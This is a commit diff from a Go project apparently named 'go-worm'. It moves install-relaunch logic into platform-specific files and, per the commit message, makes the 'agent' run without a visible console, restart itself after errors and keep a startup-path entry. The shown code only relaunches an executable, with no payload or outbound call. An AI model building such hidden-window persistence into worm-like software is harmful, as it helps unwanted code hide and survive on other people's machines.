refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/install/install.go

@@ -4,7 +4,6 @@ import (
 	"fmt"
 	"io"
 	"os"
-	"os/exec"
 	"path/filepath"
 	"strings"
 
@@ -44,15 +43,7 @@ func Ensure() error {
 		return fmt.Errorf("update startup path: %w", err)
 	}
 
-	cmd := exec.Command(target, os.Args[1:]...)
-	cmd.Stdin = os.Stdin
-	cmd.Stdout = os.Stdout
-	cmd.Stderr = os.Stderr
-	if err := cmd.Start(); err != nil {
-		return fmt.Errorf("relaunch from %s: %w", target, err)
-	}
-	os.Exit(0)
-	return nil
+	return relaunchInstalled(target)
 }
 
 func copyExe(from, to string) error {

lib/install/relaunch_stub.go

@@ -0,0 +1,21 @@
+//go:build !windows
+
+package install
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+)
+
+func relaunchInstalled(target string) error {
+	cmd := exec.Command(target, os.Args[1:]...)
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Start(); err != nil {
+		return fmt.Errorf("relaunch from %s: %w", target, err)
+	}
+	os.Exit(0)
+	return nil
+}

lib/install/relaunch_windows.go

@@ -0,0 +1,18 @@
+//go:build windows
+
+package install
+
+import (
+	"fmt"
+	"os"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
+)
+
+func relaunchInstalled(target string) error {
+	if err := instance.Launch(target, os.Args[1:]); err != nil {
+		return fmt.Errorf("relaunch from %s: %w", target, err)
+	}
+	os.Exit(0)
+	return nil
+}